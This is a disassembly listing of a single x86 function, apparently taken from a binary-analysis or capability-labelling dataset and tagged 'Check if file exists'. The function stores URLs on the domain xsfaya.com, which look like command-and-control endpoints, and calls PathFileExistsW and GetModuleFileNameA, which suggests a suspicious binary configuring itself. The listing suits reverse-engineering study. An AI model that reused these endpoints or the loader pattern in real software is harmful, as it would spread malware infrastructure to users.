Function at 0x401140
Capabilities:
Check if file exists

Disassembly:
push 0x19c
mov eax, 0x44bea2
call fcn.00411f55
mov ebx, ecx
call fcn.0040185f
mov edi, eax
test edi, edi
je 0x401561
sub esp, 0x18
mov esi, esp
push 0x3a8
sub esp, 0x18
mov ecx, esp
push str.http:__ott.xsfaya.com_uiz8lele9u
call fcn.004020a3
push esi
call fcn.004042f5
mov eax, dword [edi]
add esp, 0x20
mov ecx, edi
call dword [eax + 0x14]
sub esp, 0x18
mov esi, esp
push 0x3a8
sub esp, 0x18
mov ecx, esp
push str.http:__jto.xsfaya.com_uiz8lele9u
call fcn.004020a3
push esi
call fcn.004042f5
mov eax, dword [edi]
add esp, 0x20
mov ecx, edi
call dword [eax + 0x18]
sub esp, 0x18
mov esi, esp
push 0x3a8
sub esp, 0x18
mov ecx, esp
push str.http:__ott.xsfaya.com_microtime__
call fcn.004020a3
push esi
call fcn.004042f5
mov eax, dword [edi]
add esp, 0x20
mov ecx, edi
call dword [eax + 0x1c]
sub esp, 0x18
mov esi, esp
push 0x3a8
sub esp, 0x18
mov ecx, esp
push 0x460654
call fcn.004020a3
push esi
call fcn.004042f5
mov eax, dword [edi]
add esp, 0x20
mov ecx, edi
call dword [eax + 8]
sub esp, 0x18
mov esi, esp
push 0x3a8
sub esp, 0x18
mov ecx, esp
push 0x46065c
call fcn.004020a3
push esi
call fcn.004042f5
mov eax, dword [edi]
add esp, 0x20
mov ecx, edi
call dword [eax + 0x20]
sub esp, 0x18
mov esi, esp
push 0x3a8
sub esp, 0x18
mov ecx, esp
push 0x460680
call fcn.004020a3
push esi
call fcn.004042f5
mov eax, dword [edi]
add esp, 0x20
mov ecx, edi
call dword [eax + 0x24]
sub esp, 0x18
mov esi, esp
push 0x3a8
sub esp, 0x18
mov ecx, esp
push 0x4606a4
call fcn.004020a3
push esi
call fcn.004042f5
mov eax, dword [edi]
add esp, 0x20
mov ecx, edi
call dword [eax + 0x28]
sub esp, 0x18
mov esi, esp
push 0x3a8
sub esp, 0x18
mov ecx, esp
push 0x4606c8
call fcn.004020a3
push esi
call fcn.004042f5
mov eax, dword [edi]
add esp, 0x20
mov ecx, edi
call dword [eax + 0x2c]
sub esp, 0x18
mov esi, esp
push 0x3a8
sub esp, 0x18
push esp
call fcn.0040195d
mov ecx, eax
call fcn.00404b8d
push esi
call fcn.004042f5
mov eax, dword [edi]
add esp, 0x20
mov ecx, edi
call dword [eax + 4]
sub esp, 0x18
push esp
call fcn.00404c8e
mov eax, dword [edi]
pop ecx
mov ecx, edi
call dword [eax + 0x10]
sub esp, 0x18
mov esi, esp
call fcn.004052b4
push eax
push esi
call fcn.0040412b
mov eax, dword [edi]
pop ecx
pop ecx
mov ecx, edi
call dword [eax + 0x30]
sub esp, 0x18
mov esi, esp
call fcn.0040195d
mov ecx, eax
call fcn.00404a7c
push eax
push esi
call fcn.0040412b
mov eax, dword [edi]
pop ecx
pop ecx
mov ecx, edi
call dword [eax + 0x40]
sub esp, 0x18
mov esi, esp
push 0x3a8
sub esp, 0x18
push esp
call fcn.0040195d
mov ecx, eax
call fcn.004049c9
push esi
call fcn.004042f5
mov eax, dword [edi]
add esp, 0x20
mov ecx, edi
call dword [eax + 0x38]
lea eax, [ebp - 0x144]
push eax
call fcn.004018de
mov ecx, eax
call fcn.00405451
and dword [ebp - 4], 0
cmp dword [eax + 0x14], 8
jb 0x401367
mov eax, dword [eax]
push str.cacje
push eax
lea eax, [ebp - 0x12c]
push str._s_s_
push eax
call fcn.0040405b
add esp, 0x10
lea ecx, [ebp - 0x144]
mov byte [ebp - 4], 2
call fcn.00401e81
cmp dword [ebp - 0x118], 8
lea eax, [ebp - 0x12c]
cmovae eax, dword [ebp - 0x12c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x4013eb
and dword [ebp - 0x178], eax
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x19c]
cmp dword [ebp - 0x118], 8
lea eax, [ebp - 0x12c]
push ecx
cmovae eax, dword [ebp - 0x12c]
push eax
call fcn.00405bb0
pop ecx
pop ecx
lea ecx, [ebp - 0x19c]
mov byte [ebp - 4], 2
call fcn.00401e05
sub esp, 0x18
lea eax, [ebp - 0x12c]
mov esi, esp
push 0x3a8
sub esp, 0x18
mov ecx, esp
push eax
and dword [ecx + 0x10], 0
and dword [ecx + 0x14], 0
call fcn.00401d9d
push esi
call fcn.004042f5
mov eax, dword [edi]
add esp, 0x20
mov ecx, edi
call dword [eax + 0x3c]
mov eax, dword [edi]
mov ecx, edi
push ebx
call dword [eax + 0x44]
sub esp, 0x18
push esp
call fcn.0040195d
mov ecx, eax
call fcn.00404916
call fcn.004041c9
mov dword [ebp - 0x1a8], eax
lea eax, [ebp - 0x1a8]
push eax
mov dword [ebp - 0x1a4], edx
call fcn.0042cb43
push dword [eax + 0xc]
mov ecx, dword [eax + 0x10]
mov eax, dword [eax + 0x14]
inc ecx
push ecx
add eax, 0x76c
push eax
lea eax, [ebp - 0x174]
push str._d_.2d_.2d
push eax
call fcn.00403f91
add esp, 0x18
mov byte [ebp - 4], 4
mov ecx, esp
lea eax, [ebp - 0x174]
xor ebx, ebx
push eax
mov dword [ecx + 0x10], ebx
mov dword [ecx + 0x14], ebx
call fcn.00401d1e
mov eax, dword [edi]
mov ecx, edi
call dword [eax + 0x34]
mov esi, 0x104
lea eax, [ebp - 0x114]
push esi
push ebx
push eax
call fcn.00428d60
add esp, 0xc
lea eax, [ebp - 0x114]
push esi
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0xf
pop eax
mov dword [ebp - 0x14c], ebx
mov dword [ebp - 0x148], eax
mov byte [ebp - 0x15c], bl
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x144]
mov dword [ebp - 0x130], eax
lea eax, [ebp - 0x114]
push eax
mov dword [ebp - 0x134], ebx
mov byte [ebp - 0x144], bl
call fcn.00401cc9
lea eax, [ebp - 0x15c]
mov byte [ebp - 4], 6
push eax
lea eax, [ebp - 0x144]
push eax
call fcn.00405d9b
pop ecx
pop ecx
lea ecx, [ebp - 0x144]
mov byte [ebp - 4], 5
call fcn.00401e56
sub esp, 0x18
lea eax, [ebp - 0x15c]
mov ecx, esp
push eax
mov dword [ecx + 0x10], ebx
mov dword [ecx + 0x14], ebx
call fcn.00401d1e
mov eax, dword [edi]
mov ecx, edi
call dword [eax]
lea ecx, [ebp - 0x15c]
call fcn.00401e56
lea ecx, [ebp - 0x174]
call fcn.00401e56
lea ecx, [ebp - 0x12c]
call fcn.00401e81
call fcn.00411eff
ret